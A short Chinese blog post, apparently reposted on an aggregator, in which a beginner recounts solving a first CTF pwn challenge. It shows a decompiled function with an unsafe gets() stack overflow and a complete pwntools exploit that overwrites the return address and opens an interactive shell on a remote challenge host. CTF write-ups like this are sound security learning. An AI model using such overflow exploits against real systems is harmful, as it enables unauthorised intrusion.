第一解出的pwn题
Posted liyuechan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第一解出的pwn题相关的知识,希望对你有一定的参考价值。
虽然题目不难,但是 是我第一次做出的pwn题,得写下。
__int64 sub_4007E6() { char s1; // [sp+0h] [bp-30h]@1 memset(&s1, 0, 0x30uLL); puts("Input your Name:"); gets(&s1); if ( strcmp(&s1, "root") ) ::s1 = strdup(&s1); return 0LL; }
这里有溢出点。s1。
然后就很明确了。就差溢出的地址和覆盖多少了。
然后看了好久,看不出来。果断就调试,然后就直接出来了。
剩下就直接上代码了,过程有点想哭。。。还好有师傅给指点了下。
将p.sendline("whoami") 改成了p.interactive()
from pwn import * re_add=0x0000000000400896 for i in range(10000): #p=process("./whoami") p=remote("101.71.29.5",10013) payload=‘A‘*56+p64(re_add) p.recvuntil(">") p.sendline("1") p.recvuntil("Input your Name: ") p.sendline(payload) p.interactive() p.close()
起初想爆破的。但没成功。。。所以就。。。
代码有点难看。。下次练下 写好点
以上是关于第一解出的pwn题的主要内容,如果未能解决你的问题,请参考以下文章
闭关学pwn第四天——掌握pwn中需要了解的汇编指令(对第一天栈做相应补充)